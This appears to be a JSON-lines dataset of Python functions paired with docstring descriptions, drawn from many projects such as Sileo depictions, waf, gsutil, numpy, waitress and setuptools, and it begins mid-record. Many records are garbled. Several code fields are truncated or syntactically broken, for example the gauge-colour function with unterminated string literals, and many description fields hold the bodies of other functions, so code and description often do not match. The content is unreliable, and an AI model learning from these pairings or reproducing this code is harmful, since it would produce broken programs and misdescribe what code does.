\"\\\", you should contact \"\n + tweak_data['maintainer']['name']\n + \", who is the package's current maintainer. Sadly, we don't know their email.\"\n }\n )\n except Exception:\n pass\n\n view.append(\n {\n \"class\": \"DepictionMarkdownView\",\n \"markdown\": \"If you found a mistake in the depiction or cannot download the package, you can reach out\"\n + \" to the maintainer of the \\\"\" + repo_settings['name'] + \"\\\" repo, \"\n + repo_settings['maintainer']['name'] + \".\"\n }\n )\n view.append(\n {\n \"class\": \"DepictionTableButtonView\",\n \"title\": \"Email Repo Maintainer\",\n \"action\": \"mailto:\" + repo_settings['maintainer']['email'],\n \"openExternal\": \"true\",\n \"tintColor\": tint\n }\n )\n\n try:\n if repo_settings['social']:\n view.append(\n {\n \"class\": \"DepictionMarkdownView\",\n \"markdown\": \"You can also contact the repo owner via the following\" +\n \" sites:\"\n }\n )\n for entry in repo_settings['social']:\n view.append({\n \"class\": \"DepictionTableButtonView\",\n \"title\": entry['name'],\n \"action\": entry['url'],\n \"openExternal\": \"true\",\n \"tintColor\": tint\n })\n except Exception:\n pass\n\n return json.dumps({\n \"class\": \"DepictionStackView\",\n \"tintColor\": tint,\n \"title\": \"Contact Support\",\n \"views\": view\n }, separators=(',', ':'))", "nl": "Generates a help view for Sileo users.Object tweak_data: A single index of a \"tweak release\" object."} {"code": "def music_plugin_stop(self):\n\n print(\"Bye,\", self.username)\n self.soco.stop()", "nl": "Stop the music.This methods shows how, if we need it, we can use the socofunctionality from inside the plugins"} {"code": "def test_get_request_json_properly_formatted(self):\n data = json.dumps(self.request_dict).encode(\"utf-8\")\n response = self.client.post(\n \"/json_request/\", content_type=\"application/json\", data=data\n )\n response_json = json.loads(response.content.decode(\"utf-8\"))\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response_json, self.request_dict)\n", "nl": "Properly formatted JSON requests should result in a JSON object"} {"code": "def custom_colors_gauge(form, error):\n if current_colors:\n colors = current_colors\n else:\n colors = ['20,\n\n if new_stops > current_stops:\n try:\n stop = float(colors[-1].split(\",\")[0])\n except:\n stop = 80\n for _ in range(new_stops - current_stops):\n stop += 20\n colors.append('{},\n elif new_stops < current_stops:\n colors = colors[: len(colors) - (current_stops - new_stops)]\n\n return colors", "nl": "Get variable number of gauge color inputs, turn into CSV string.sorted_colors = []colors_hex = {}# Combine all color form inputs to dictionaryfor key in form.keys():if 'color_hex_number' in key or 'color_stop_number' in key:if 'color_hex_number' in key and int(key[16:]) not in colors_hex:colors_hex[int(key[16:])] = {}if 'color_stop_number' in key and int(key[17:]) not in colors_hex:colors_hex[int(key[17:])] = {}if 'color_hex_number' in key:for value in form.getlist(key):if not is_rgb_color(value):error.append(\"Invalid hex color value\")colors_hex[int(key[16:])]['hex'] = valueelif 'color_stop_number' in key:for value in form.getlist(key):if not is_rgb_color(value):error.append(\"Invalid hex color value\")colors_hex[int(key[17:])]['stop'] = value# Build string of colors and associated gauge valuesfor i, _ in enumerate(colors_hex):try:try:sorted_colors.append(\"{},{}\".format(colors_hex[i]['stop'], colors_hex[i]['hex']))except Exception as err_msg:error.append(err_msg)sorted_colors.append(\"0,{}\".format(colors_hex[i]['hex']))except Exception as err_msg:error.append(err_msg)return sorted_colors, errordef gauge_reformat_stops(current_stops, new_stops, current_colors=None):Generate stops and colors for new and modified gauges."} {"code": "def _scaler(self, scale):\n if isinstance(scale, list):\n if len(scale) == 2:\n Xscaler = scale[0]\n Yscaler = scale[1]\n return Xscaler, Yscaler\n else:\n msg = \"The length of the parameter 'scale' must be two. The first scaler is for the X array and the second one for Y.\"\n raise ValueError(msg)\n else:\n if scale:\n return StandardScaler(), StandardScaler()\n else:\n return None, None\n", "nl": "The internal function to manage the X and Y scalers.Returns-------scaler_x : scalerThe X scaler.scaler_y : scalerThe Y scaler."} {"code": "def set_direct_console_logger(cls, loglevel=logging.INFO):\n logger = cls.get_root_logger().getChild(\"console\")\n logger.setLevel(logging.DEBUG)\n consolehandler = logging.StreamHandler()\n consolehandler.setLevel(loglevel)\n logger.addHandler(consolehandler)\n logger.propagate = True\n return logger\n\n @classmethod", "nl": "Configure and add the handler for the direct console logger.Parameters:loglevel (int): numeric value of the logging level (e.g. DEBUG == 10)Returns:logger (Logger): the root logger's child named 'console'"} {"code": "def test_sendChunkedRequestBodyFinishedThenWriteMore(self, _with=None):\n producer = StringProducer(UNKNOWN_LENGTH)\n request = Request(b'POST', b'/bar', _boringHeaders, producer)\n writeDeferred = request.writeTo(self.transport)\n producer.finished.callback(_with)\n self.transport.clear()\n\n self.assertRaises(ExcessWrite, producer.consumer.write, b'foo')\n self.assertEqual(self.transport.value(), b\"\")\n return writeDeferred\n\n", "nl": "If the request body producer with an unknown length tries to writeafter firing the L{Deferred} returned by its C{startProducing} method,the C{write} call raises an exception and does not write anything tothe underlying transport."} {"code": "def _cell_layers(self):\n cell_layers=set()\n for c in self.cells:\n if isinstance(c, Cell):\n cell_layers |= set(c.get_layers())\n else:\n for s in c:\n cell_layers |= set(s.get_layers())\n return list(cell_layers)\n", "nl": "A list of all active layers in ``cells``"} {"code": "def data_shapes(self):\n assert self.binded\n return self._data_shapes\n\n @property", "nl": "Get data shapes.Returns-------A list of `(name, shape)` pairs."} {"code": "def query(self, *args, **kwargs):\n client.return_value.Table = MockTable\n\n with MosaicBackend(\"dynamodb:///thiswaskylebarronidea:mosaic\") as mosaic:\n assert mosaic._backend_name == \"AWS DynamoDB\"\n assert isinstance(mosaic, DynamoDBBackend)\n assert mosaic.quadkey_zoom == 7\n assert list(", "nl": "Mock Scan.mosaic = MosaicJSON(**mosaic_content)return {\"Items\": [{\"quadkey\": qk, \"assets\": assets} for qk, assets in mosaic.tiles.items()]}@patch(\"cogeo_mosaic.backends.dynamodb.boto3.resource\")def test_dynamoDB_backend(client):Test DynamoDB backend."} {"code": "def _get_hypercell_bounds(self, aug_pareto_Y: np.ndarray) -> np.ndarray:\n num_cells = self.hypercells.shape[1]\n outcome_idxr = np.tile(np.arange(self.num_objs), num_cells)\n\n cell_bounds_idxr = np.stack(\n [self.hypercells.reshape(2, -1),\n np.tile(outcome_idxr[None, :], (2, 1))],\n axis=-1,\n ).astype(int)\n", "nl": "rGet the bounds of each hypercell in the decomposition.Args:aug_pareto_Y: A `n_pareto + 2 x m`-dim array containingthe augmented pareto front.Returns:A `2 x num_cells x num_objs`-dim array containing thelower and upper vertices bounding each hypercell."} {"code": "def run_migrations_offline():\n url = config.get_main_option(\"sqlalchemy.url\")\n context.configure(url=url)\n\n with context.begin_transaction():\n context.run_migrations()\n\n", "nl": "Run migrations in 'offline' mode.This configures the context with just a URLand not an Engine, though an Engine is acceptablehere as well. By skipping the Engine creationwe don't even need a DBAPI to be available.Calls to context.execute() here emit the given string to thescript output."} {"code": "def test_set_music_mode_single(self, mock):\n base = self.load_base_station(mock)\n base.set_shuffle_on()\n base.publish.assert_called_once_with(\n action='set',\n resource='audioPlayback/config',\n publish_response=False,\n properties={'config': {'shuffleActive': True}}\n )\n\n @requests_mock.Mocker()\n @patch.object(ArloBaseStation, \"publish\", MagicMock())", "nl": "Test ArloBaseStation.set_music_loop_mode_single.base = self.load_base_station(mock)base.set_music_loop_mode_single()base.publish.assert_called_once_with(action='set',resource='audioPlayback/config',publish_response=False,properties={'config': {'loopbackMode': 'singleTrack'}})@requests_mock.Mocker()@patch.object(ArloBaseStation, \"publish\", MagicMock())def test_shuffle_on(self, mock):Test ArloBaseStation.set_shuffle_on."} {"code": "def clear(self) -> None:\n if not isinstance(x, self._paquo_cls):\n return False\n while x.parent is not None:\n x = x.parent\n return bool(x.java_object == self._java_hierarchy.getRootObject())\n", "nl": "clear all path objects from the proxyif self._mask:raise OSError(\"cannot modify view\")if self._readonly:raise OSError(\"project in readonly mode\")try:self._java_hierarchy.removeObjects(self._list, True)finally:self._list_invalidate_cache()def __contains__(self, x: Any) -> bool:test if path object is in proxy"} {"code": "def predict(self, **kwargs):\n return self.in_memory.build(kwargs)['terminal']", "nl": "Returns the output of ``model.predict(upstream['features'])``"} {"code": "def to_json(self):", "nl": "Return a dictionary that conforms the CityJSON schemaj = dict()j['type'] = self.typej['geometry'] = []if self.attributes:j['attributes'] = self.attributesif self.children:j['children'] = self.childrenif self.parents:j['parents'] = self.parentsreturn jclass Geometry(object):CityJSON Geometry object"} {"code": "def ant_glob(self, *k, **kw):\n\t\tsrc = kw.get('src', True)\n\t\tdir = kw.get('dir')\n\t\texcl = kw.get('excl', exclude_regs)\n\t\tincl = k and k[0] or kw.get('incl', '**')\n\t\tremove = kw.get('remove', True)\n\t\tmaxdepth = kw.get('maxdepth', 25)\n\t\tignorecase = kw.get('ignorecase', False)\n\t\tquiet = kw.get('quiet', False)\n\t\tpats = (ant_matcher(incl, ignorecase), ant_matcher(excl, ignorecase))\n\n\t\tif kw.get('generator'):\n\t\t\treturn Utils.lazy_generator(self.ant_iter, (ant_sub_matcher, maxdepth, pats, dir, src, remove, quiet))\n\n\t\tit = self.ant_iter(ant_sub_matcher, maxdepth, pats, dir, src, remove, quiet)\n\t\tif kw.get('flat'):\n\t\t\treturn ' '.join(x.path_from(self) for x in it)\n\t\treturn list(it)\n\n", "nl": "Finds files across folders and returns Node objects:* ``**/*`` find all files recursively* ``**/*.class`` find all files ending by .class* ``..`` find files having two dot charactersFor example::def configure(cfg):# find all .cpp filescfg.path.ant_glob('**/*.cpp')# find particular files from the root filesystem (can be slow)cfg.root.ant_glob('etc/*.txt')# simple exclusion rule examplecfg.path.ant_glob('*.c*', excl=['*.c'], src=True, dir=False)For more information about the patterns, consult http://ant.apache.org/manual/dirtasks.htmlPlease remember that the '..' sequence does not represent the parent directory::def configure(cfg):cfg.path.ant_glob('../*.h') # incorrectcfg.path.parent.ant_glob('*.h') # correctThe Node structure is itself a filesystem cache, so certain precautions mustbe taken while matching files in the build or installation phases.Nodes objects that do have a corresponding file or folder are garbage-collected by default.This garbage collection is usually required to prevent returning files that do notexist anymore. Yet, this may also remove Node objects of files that are yet-to-be built.This typically happens when trying to match files in the build directory,but there are also cases when files are created in the source directory.Run ``waf -v`` to display any warnings, and try consider passing ``remove=False``when matching files in the build directory.Since ant_glob can traverse both source and build folders, it is a best practiceto call this method only from the most specific build node::def build(bld):# traverses the build directory, may need ``remove=False``:bld.path.ant_glob('project/dir/**/*.h')# better, no accidental build directory traversal:bld.path.find_node('project/dir').ant_glob('**/*.h') # bestIn addition, files and folders are listed immediately. When matching files in thebuild folders, consider passing ``generator=True`` so that the generator objectreturned can defer computation to a later stage. For example::def build(bld):bld(rule='tar xvf ${SRC}', source='arch.tar')bld.add_group()gen = bld.bldnode.ant_glob(\"*.h\", generator=True, remove=True)# files will be listed only after the arch.tar is unpackedbld(rule='ls ${SRC}', source=gen, name='XYZ'):param incl: ant patterns or list of patterns to include:type incl: string or list of strings:param excl: ant patterns or list of patterns to exclude:type excl: string or list of strings:param dir: return folders too (False by default):type dir: bool:param src: return files (True by default):type src: bool:param maxdepth: maximum depth of recursion:type maxdepth: int:param ignorecase: ignore case while matching (False by default):type ignorecase: bool:param generator: Whether to evaluate the Nodes lazily:type generator: bool:param remove: remove files/folders that do not exist (True by default):type remove: bool:param quiet: disable build directory traversal warnings (verbose mode):type quiet: bool:returns: The corresponding Node objects as a list or as a generator object (generator=True):rtype: by default, list of :py:class:`waflib.Node.Node` instances"} {"code": "def as_dict(self):\n if self.type is None:\n return {'type': None}\n elif self.__dict__['type'] not in self.__dict__:\n raise ValueError('type: {!r} is not a valid key!'.format(\n self.__dict__['type']))\n else:\n chosen_type = self.type\n chosen_value = self.__dict__[chosen_type]\n return {'type': self.type, chosen_type: self._export_config(chosen_value)}\n", "nl": "Returns a dict representation of OneOfConfig.For the nested base_config.Config, a nested dict will be returned."} {"code": "def _GetBucketPolicyOnly(self, blr):\n self._ValidateBucketListingRefAndReturnBucketName(blr)\n bucket_url = blr.storage_url\n\n iam_config = IamConfigurationValue()\n iam_config.bucketPolicyOnly = BucketPolicyOnlyValue()\n iam_config.bucketPolicyOnly.enabled = (setting_arg == 'on')\n\n bucket_metadata = apitools_messages.Bucket(iamConfiguration=iam_config)\n\n setting_verb = 'Enabling' if setting_arg == 'on' else 'Disabling'\n print('%s Bucket Policy Only for %s...' %\n (setting_verb, str(bucket_url).rstrip('/')))\n\n self.gsutil_api.PatchBucket(bucket_url.bucket_name,\n bucket_metadata,\n fields=['iamConfiguration'],\n provider=bucket_url.scheme)\n return 0\n", "nl": "Gets the Bucket Policy Only setting for a bucket.self._ValidateBucketListingRefAndReturnBucketName(blr)bucket_url = blr.storage_urlbucket_metadata = self.gsutil_api.GetBucket(bucket_url.bucket_name,fields=['iamConfiguration'],provider=bucket_url.scheme)iam_config = bucket_metadata.iamConfigurationbucket_policy_only = iam_config.bucketPolicyOnlyfields = {'bucket': str(bucket_url).rstrip('/'),'enabled': bucket_policy_only.enabled}locked_time_line = ''if bucket_policy_only.lockedTime:fields['locked_time'] = bucket_policy_only.lockedTimelocked_time_line = ' LockedTime: {locked_time}\\n'if bucket_policy_only:print(('Bucket Policy Only setting for {bucket}:\\n'' Enabled: {enabled}\\n' + locked_time_line).format(**fields))def _SetBucketPolicyOnly(self, blr, setting_arg):Sets the Bucket Policy Only setting for a bucket on or off."} {"code": "def format_arclink(self):\n return \"%d,%d,%d,%d,%d,%d,%d\" % (self.year, self.month, self.day,\n self.hour, self.minute, self.second,\n self.microsecond)\n", "nl": "Returns string representation for the ArcLink protocol.:return: string.. rubric:: Example>>> dt = UTCDateTime(2008, 10, 1, 12, 30, 35, 45020)>>> print(dt.format_arclink())2008,10,1,12,30,35,45020"} {"code": "def test_latitudeTooLarge(self):\n self.assertRaises(ValueError, _makeLatitude, 150.0)\n self.assertRaises(ValueError, _makeLatitude, 90.0)\n\n", "nl": "Creating a latitude with a value greater than or equal to 90 degreesraises C{ValueError}."} {"code": "def load(self, path):\n path = os.path.normpath(path)\n mtime = os.stat(path).st_mtime\n\n if path not in self or self[path].mtime != mtime:\n manifest = self.build(path)\n self[path] = self.manifest_mod(manifest, mtime)\n\n return self[path].manifest\n\n\nclass ZipProvider(EggProvider):\n \"\"\"Resource support for zips and eggs\"\"\"", "nl": "Load a manifest at path or return a suitable manifest already loaded."} {"code": "def test_asizeof(self):\n self.assertEqual(asizeof.asizeof(), 0)\n\n objs = [Foo(42), ThinFoo(\"spam\"), OldFoo(67)]\n total = asizeof.asizeof(*objs)\n sizes = list(asizeof.asizesof(*objs))\n sum = 0\n for sz in sizes:\n sum += sz\n self.assertEqual(total, sum, (total, sum))\n", "nl": "Test asizeof.asizeof()"} {"code": "def testBuildGraphFn_CyclicNodes(self):\n\n with self.assertRaisesRegex(\n exceptions.FailedPreconditionError, 'InputGraph has a cycle'):\n input_graph_resolver.build_graph_fn(self._mlmd_handler, input_graph)\n\n @parameterized.parameters(\n (dict(a=1, b=2, c=3, d=4, e=5), 84),\n (dict(a=5, b=4, c=3, d=2, e=1), 54)\n )", "nl": "input_graph = self.parse_input_graph(nodes {key: \"inc_1\"value {op_node {op_type: \"Inc\"args {node_id: \"inc_2\"}kwargs {key: \"offset\"}}output_data_type: ARTIFACT_LIST}}nodes {key: \"inc_2\"value {op_node {op_type: \"Inc\"args {node_id: \"inc_1\"}kwargs {key: \"offset\"}}output_data_type: ARTIFACT_LIST}}result_node: \"inc_2\")"} {"code": "def test_persist_stack_resources(self, cluster, mocker, template):\n mocker.patch(\"pcluster.models.cluster.Cluster._get_stack_template\", return_value=template)\n observed_return = cluster._get_unretained_cw_log_group_resource_keys()\n assert_that(observed_return).is_equal_to(expected_return)\n\n @pytest.mark.parametrize(\n \"stack_exists, expected_error, next_token\",\n [\n (False, \"Cluster .* does not exist\", None),\n (True, \"\", None),\n (True, \"\", \"next_token\"),\n ],\n )", "nl": "Verify that _persist_stack_resources behaves as expected.mocker.patch(\"pcluster.models.cluster.Cluster._get_artifact_dir\")mocker.patch(\"pcluster.models.cluster.Cluster._get_stack_template\", return_value=template)update_stack_template_mock = mocker.patch(\"pcluster.models.cluster.Cluster._update_stack_template\")mock_aws_api(mocker)mocker.patch(\"pcluster.aws.cfn.CfnClient.update_stack_from_url\")mock_bucket(mocker)mock_bucket_utils(mocker)mock_bucket_object_utils(mocker)if \"Resources\" not in template:expected_error_message = \"Resources\"elif \"key\" not in template.get(\"Resources\"):expected_error_message = \"key\"else:expected_error_message = Noneif expected_error_message:with pytest.raises(KeyError, match=expected_error_message):cluster._persist_stack_resources([\"key\"])assert_that(update_stack_template_mock.called).is_false()else:cluster._persist_stack_resources([\"key\"])assert_that(update_stack_template_mock.called).is_true()assert_that(cluster._get_stack_template()[\"Resources\"][\"key\"][\"DeletionPolicy\"]).is_equal_to(\"Retain\")@pytest.mark.parametrize(\"template,expected_return\",[({}, []),({\"Resources\": {}}, []),({\"Resources\": {\"ResourceOne\": {\"Type\": LOG_GROUP_TYPE, \"DeletionPolicy\": \"Retain\"}}}, []),({\"Resources\": {\"ResourceOne\": {\"Type\": LOG_GROUP_TYPE, \"DeletionPolicy\": \"NotRetain\"}}}, [\"ResourceOne\"]),({\"Resources\": {\"ResourceOne\": {\"Type\": LOG_GROUP_TYPE, \"DeletionPolicy\": \"Delete\"}}}, [\"ResourceOne\"]),],)def test_get_unretained_cw_log_group_resource_keys(self, cluster, mocker, template, expected_return):Verify that _get_unretained_cw_log_group_resource_keys behaves as expected."} {"code": "def inmemory(cls) -> 'Ebonite':\n return Ebonite(LocalMetadataRepository(), InMemoryArtifactRepository())\n\n @classmethod", "nl": "Get an instance of :class:`~ebonite.Ebonite` with inmemory repositories"} {"code": "def active_remaining(self) -> Counter[TP]:\n highwaters = self.standby_highwaters\n offsets = self.standby_offsets\n return Counter({\n tp: highwater - offsets[tp]\n for tp, highwater in highwaters.items()\n if highwater >= 0 and offsets[tp] >= 0\n })\n", "nl": "Return counter of remaining changes by active partition.highwaters = self.active_highwatersoffsets = self.active_offsetsreturn Counter({tp: highwater - offsets[tp]for tp, highwater in highwaters.items()if highwater is not None and offsets[tp] is not None})def standby_remaining(self) -> Counter[TP]:Return counter of remaining changes by standby partition."} {"code": "def OggAudioFile(filename):\n options = [OggTheoraFile]\n return guess_format(filename, options)\n\n\nOggVideoFile.EXTENSIONS = [\".ogv\"]\nOggVideoFile.NAME = \"Ogg Video\"\nOggVideoFile.supports_tag = VCommentFile.supports_tag\n\n", "nl": "Generic Ogg audio file.options = [OggFLACFile, OggOpusFile, OggSpeexFile, OggVorbisFile]return guess_format(filename, options)OggAudioFile.EXTENSIONS = [\".oga\"]OggAudioFile.NAME = \"Ogg Audio\"OggAudioFile.supports_tag = VCommentFile.supports_tagdef OggVideoFile(filename):Generic Ogg video file."} {"code": "def proxy_bypass(host): # noqa\n if getproxies_environment():\n return proxy_bypass_environment(host)\n else:\n return proxy_bypass_registry(host)\n\n", "nl": "Return True, if the host should be bypassed.Checks proxy settings gathered from the environment, if specified,or the registry."} {"code": "def resolve(module_name, object_name):\n name = os.path.basename(argv[0])\n\n try:\n kw, args = Adjustments.parse_args(argv[1:])\n except getopt.GetoptError as exc:\n show_help(sys.stderr, name, str(exc))\n return 1\n\n if kw['help']:\n show_help(sys.stdout, name)\n return 0\n\n if len(args) != 1:\n show_help(sys.stderr, name, 'Specify one application only')\n return 1\n\n try:\n module, obj_name = match(args[0])\n except ValueError as exc:\n show_help(sys.stderr, name, str(exc))\n show_exception(sys.stderr)\n return 1\n\n sys.path.append(os.getcwd())\n\n try:\n app = resolve(module, obj_name)\n except ImportError:\n show_help(sys.stderr, name, \"Bad module '{0}'\".format(module))\n show_exception(sys.stderr)\n return 1\n except AttributeError:\n show_help(sys.stderr, name, \"Bad object name '{0}'\".format(obj_name))\n show_exception(sys.stderr)\n return 1\n if kw['call']:\n app = app()\n\n del kw['call'], kw['help']\n\n _serve(app, **kw)\n return 0", "nl": "Resolve a named object in a module.# We cast each segments due to an issue that has been found to manifest# in Python 2.6.6, but not 2.6.8, and may affect other revisions of Python# 2.6 and 2.7, whereby ``__import__`` chokes if the list passed in the# ``fromlist`` argument are unicode strings rather than 8-bit strings.# The error triggered is \"TypeError: Item in ``fromlist '' not a string\".# My guess is that this was fixed by checking against ``basestring``# rather than ``str`` sometime between the release of 2.6.6 and 2.6.8,# but I've yet to go over the commits. I know, however, that the NEWS# file makes no mention of such a change to the behaviour of# ``__import__``.segments = [str(segment) for segment in object_name.split('.')]obj = __import__(module_name, fromlist=segments[:1])for segment in segments:obj = getattr(obj, segment)return objdef show_help(stream, name, error=None): # pragma: no coverif error is not None:print('Error: {0}\\n'.format(error), file=stream)print(HELP.format(name), file=stream)def show_exception(stream):exc_type, exc_value = sys.exc_info()[:2]args = getattr(exc_value, 'args', None)print(('There was an exception ({0}) importing your module.\\n').format(exc_type.__name__,),file=stream)if args:print('It had these arguments: ', file=stream)for idx, arg in enumerate(args, start=1):print('{0}. {1}\\n'.format(idx, arg), file=stream)else:print('It had no arguments.', file=stream)def run(argv=sys.argv, _serve=serve):Command line runner."} {"code": "def length_wu(length, logprobs, alpha=0.):\n\n modifier = (((5 + length) ** alpha) /\n ((5 + 1) ** alpha))\n return (logprobs / modifier)\n", "nl": "NMT length re-ranking score from\"Google's Neural Machine Translation System\" :cite:`wu2016google`."} {"code": "def _create_examples(self, data_dir):\n", "nl": "Creates examples.examples = []for label in [\"neg\", \"pos\"]:cur_dir = os.path.join(data_dir, label)for filename in tf.io.gfile.listdir(cur_dir):if not filename.endswith(\"txt\"):continueif len(examples) % 1000 == 0:logging.info(\"Loading dev example %d\", len(examples))path = os.path.join(cur_dir, filename)with tf.io.gfile.GFile(path) as f:text = f.read().strip().replace(\"
\", \" \")examples.append(InputExample(guid=\"unused_id\", text_a=text, text_b=None, label=label))return examplesclass MnliMatchedProcessor(GLUEProcessor):MnliMatchedProcessor."} {"code": "def makeunknown(self, tarinfo, targetpath):\n self.makefile(tarinfo, targetpath)\n self._dbg(1, 'tarfile: Unknown file type %r, extracted as regular file.' % tarinfo.type)\n", "nl": "Make a file from a TarInfo object with an unknown typeat targetpath."} {"code": "defined in another model.\n return u'%s (%s)' % (old_unicode(self), self.get_state_info().description)\n\n attrs['__unicode__'] = new_unicode\n\n attrs['__module__'] = state_model.__module__\n values = {'model_name': state_model.__name__,\n 'field_name': field_name.capitalize()}\n class_name = conf.LOG_MODEL_NAME % values\n\n if sys.version_info[0] == 2:\n class_name = str(class_name)\n\n return ModelBase.__new__(c, class_name, bases, attrs)\n\n get_state_choices = machine.get_state_choices\n\n @python_2_unicode_compatible\n class _StateTransition(six.with_metaclass(_StateTransitionMeta, models.Model)):\n \"\"\"\n", "nl": "def __new__(c, name, bases, attrs):new_unicode = u''if '__unicode__' in attrs:old_unicode = attrs['__unicode__']def new_unicode(self):New Unicode"} {"code": "def cmd(self, cmd, timeout=CMD_TIMEOUT, debug=True, fd=None):\n self._log_command(cmd, debug)\n if not self._acquire_lock():\n raise MonitorLockError(\"Could not acquire exclusive lock to send \"\n \"monitor command '%s'\" % cmd)\n\n try:\n self._recvall()\n if fd is not None:\n if self._passfd is None:\n self._passfd = passfd_setup.import_passfd()\n self._passfd.sendfd(self._socket, fd, b\"%s\\n\" % cmd.encode())\n self._log_lines(cmd)\n else:\n if debug:\n LOG.debug(\"Send command: %s\" % cmd)\n self._send(cmd.encode())\n s, o = self._read_up_to_qemu_prompt(timeout)\n o = \"\\n\".join(o.splitlines()[1:])\n if s:\n if o:\n self._log_response(cmd, o, debug)\n return o\n else:\n msg = (\"Could not find (qemu) prompt after command '%s'. \"\n \"Output so far: %r\" % (cmd, o))\n raise MonitorProtocolError(msg)\n finally:\n self._lock.release()\n", "nl": "Send command to the monitor.:param cmd: Command to send to the monitor:param timeout: Time duration to wait for the (qemu) prompt to return:param debug: Whether to print the commands being sent and responses:return: Output received from the monitor:raise MonitorLockError: Raised if the lock cannot be acquired:raise MonitorSocketError: Raised if a socket error occurs:raise MonitorProtocolError: Raised if the (qemu) prompt cannot befound after sending the command"} {"code": "def swift8(self, use_dataset: bool = False) -> str:\n return self.swift(length=8, use_dataset=use_dataset)\n", "nl": "Generate an 8-digit SWIFT code.This method uses |swift| under the hood with the ``length`` argument setto ``8`` and with the ``primary`` argument omitted. All 8-digit SWIFTcodes already refer to the primary branch/office.:sample::sample: use_dataset=True"} {"code": "def model_to_dict(self, main_object):\n object_data = {}\n for name, holder in self.declared_holders.items():\n if callable(getattr(holder, 'model_to_dict', None)):\n object_data[name] = holder.model_to_dict(main_object)\n elif isinstance(holder, BaseModelForm):\n opts = holder._meta\n object_data[name] = model_to_dict(main_object, opts.fields, opts.exclude)\n else:\n object_data[name] = model_to_dict(main_object)\n return object_data\n", "nl": "Create initial data from a main object. This then is used to fill the initial data from all its childcollections and forms.Forms which do not correspond to the model given by the main object, are themselves responsible toaccess the proper referenced models."} {"code": "def match_re(self, lines, res):\n return match_re(lines, res)\n", "nl": "Compare actual and expected file contents."} {"code": "def SendProprietaryPayload(self, request, context):\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n", "nl": "SendProprietaryPayload send a payload using the 'Proprietary' LoRaWAN message-type."} {"code": "def p_storage_class_specifier(self, p):\n p[0] = p[1]\n", "nl": " storage_class_specifier : AUTO| REGISTER| STATIC| EXTERN| TYPEDEF"} {"code": "def save_tasks(self, sender):\n\n self.speech_rate = 0.3\n self.language = 'en-GB'\n self.prompt_dialog = ui.load_view('dialogs/speak_task_number')\n self.prompt_dialog['button_select'].enabled = False\n self.prompt_dialog['txt_speak_number'].delegate = self\n self.prompt_dialog[\"segmentedcontrol1\"].action = self.display_speak_options\n self.prompt_dialog['txt_speak_number'].begin_editing()\n self.prompt_dialog.present('popover', popover_location=(500, 500))\n", "nl": "Save the tasks to the specified file.task_file = self.save_dialog['txt_save_file'].textif task_file:if task_file.rfind('.tsk', len(task_file) - 4) == -1:task_file += '.tsk'self.save_dialog.close()if task_file == self.current_task_file:# some bug; even though the file should be closed, I can't overwrite itutil.delete(task_file)util.save(self.tasklist.tasks, task_file)else:self.save_dialog['txt_save_file'].text = ''def prompt_speak(self, sender):Prompt the user for the task(s) to speak."} {"code": "def validate_reconstructed_seq(seq, orig):\n o1 = parasail.sg_qx_trace(seq, orig, 3, 1, parasail.matrix_create(\"ACGT\", 2, -5))\n if o1.score < l2*2*.90: return False, o1.cigar.decode\n for num, type in iter_cigar_string(o1.cigar.decode):\n if type == 'I' and num > 5:\n return False, o1.cigar.decode\n return True, o1.cigar.decode\n", "nl": "seq --- the sequence that is reconstructedorig --- the original sequencebecause the reconstructed seq can be longer, we don't care about deletions(deletions w.r.t could just be exon skipping or minor base errors)we only care that there is NOT a lot of insertions (which would indicate error in my bubble solution)"} {"code": "def forward(self, x):\n gate = activation.sigmoid(self.alpha)\n y = self.layer(x)\n return gate * x + (1 - gate) * y\n", "nl": " Forward method for layerArgs:x (:torch:`Tensor`): Input to layerReturns::torch:`Tensor`: Output of layer"} {"code": "def __init__(self, args):\n self.args = args\n self.graph = create_graph(self.args.input)\n if self.args.walk_type == \"first\":\n self.walker = FirstOrderRandomWalker(self.graph, args)\n else:\n self.walker = SecondOrderRandomWalker(self.graph, False, args)\n self.walker.preprocess_transition_probs()\n self.walks = self.walker.do_walks()\n del self.walker\n self.create_embedding()\n self.save_model()\n", "nl": "Walklet machine constructor.:param args: Arguments object with the model hyperparameters."} {"code": "def test_no_blanks():\n\n args = f'{fox} -i surly car under bicycle'\n rv, out = getstatusoutput(f'{prg} {args}')\n assert rv == 0\n assert out.strip() == 'The quick surly car jumps under the lazy bicycle.'\n\n", "nl": "Test no blanksrv, out = getstatusoutput(f'{prg} {no_blanks}')assert rv != 0assert out == f'\"{no_blanks}\" has no placeholders.'# --------------------------------------------------def test_fox():test fox"} {"code": "def _get_machar(ftype):\n params = _MACHAR_PARAMS.get(ftype)\n if params is None:\n raise ValueError(repr(ftype))\n key = ftype('-0.1').newbyteorder('<').tobytes()\n ma_like = _KNOWN_TYPES.get(key)\n if ma_like is None and ftype == ntypes.longdouble:\n ma_like = _KNOWN_TYPES.get(key[:10])\n if ma_like is not None:\n return ma_like\n warnings.warn(\n 'Signature {} for {} does not match any known type: '\n 'falling back to type probe function'.format(key, ftype),\n UserWarning, stacklevel=2)\n return _discovered_machar(ftype)\n\n", "nl": " Get MachAr instance or MachAr-like instanceGet parameters for floating point type, by first trying signatures ofvarious known floating point types, then, if none match, attempting toidentify parameters by analysis.Parameters----------ftype : classNumpy floating point type class (e.g. ``np.float64``)Returns-------ma_like : instance of :class:`MachAr` or :class:`MachArLike`Object giving floating point parameters for `ftype`.Warns-----UserWarningIf the binary signature of the float type is not in the dictionary ofknown float types."} {"code": "def test_4_parse_empty_response(self):\n mock_data = '{\"result\": {\"addressMatches\": []}}'\n mock_response = MockResponse(mock_data)\n mock_parsed = self.test_geocoder.parse_response(mock_response)\n\n self.assertFalse(mock_parsed)\n\n\nif __name__ == '__main__':\n unittest.main()", "nl": "Test that parsing returns nothing from an empty mock Response"} {"code": "def _exclude_misc(self, name, value):\n\n if not isinstance(value, sequence):\n raise DistutilsSetupError(\n \"%s: setting must be a list (%r)\" % (name, value)\n )\n try:\n old = getattr(self, name)\n except AttributeError:\n raise DistutilsSetupError(\n \"%s: No such distribution setting\" % name\n )\n if old is None:\n setattr(self, name, value)\n elif not isinstance(old, sequence):\n raise DistutilsSetupError(\n name + \": this setting cannot be changed via include/exclude\"\n )\n else:\n new = [item for item in value if item not in old]\n setattr(self, name, old + new)\n", "nl": "Handle 'exclude()' for list/tuple attrs without a special handlerif not isinstance(value, sequence):raise DistutilsSetupError(\"%s: setting must be a list or tuple (%r)\" % (name, value))try:old = getattr(self, name)except AttributeError:raise DistutilsSetupError(\"%s: 